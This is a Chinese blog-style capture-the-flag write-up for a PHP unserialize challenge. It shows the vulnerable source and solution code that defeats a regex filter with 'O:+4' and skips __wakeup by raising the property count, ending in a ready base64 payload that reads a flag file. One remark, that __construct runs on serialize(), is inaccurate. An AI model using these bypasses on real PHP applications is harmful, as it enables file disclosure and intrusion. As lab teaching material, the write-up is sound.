美文网首页
攻防世界-Web_php_unserialize

攻防世界-Web_php_unserialize

作者: 好好睡觉鸭 | 来源:发表于2020-11-12 10:39 被阅读0次

    高手进阶区,Web_php_unserialize

    题目来源:攻防世界
    题目直接给出源码:

    <?php 
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    if (isset($_GET['var'])) { 
        $var = base64_decode($_GET['var']); 
        if (preg_match('/[oc]:\d+:/i', $var)) { 
            die('stop hacking!'); 
        } else {
            @unserialize($var); 
        } 
    } else { 
        highlight_file("index.php"); 
    } 
    ?>
    

    __construct()方法在serialize()才调用,与此题目无关
    绕过__wakeup(),绕过正则后调用__destruct()
    解题代码,在线运行

    <?php 
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
        $A = new Demo('fl4g.php');
        $b = serialize($A);
        //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
        $b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
        $b = str_replace(':1:', ':2:',$b);//绕过wakeup
       //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
        echo (base64_encode($b));
      //TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
     ?>
    

    相关文章

      网友评论

          本文标题:攻防世界-Web_php_unserialize

          本文链接:https://www.haomeiwen.com/subject/nqwubktx.html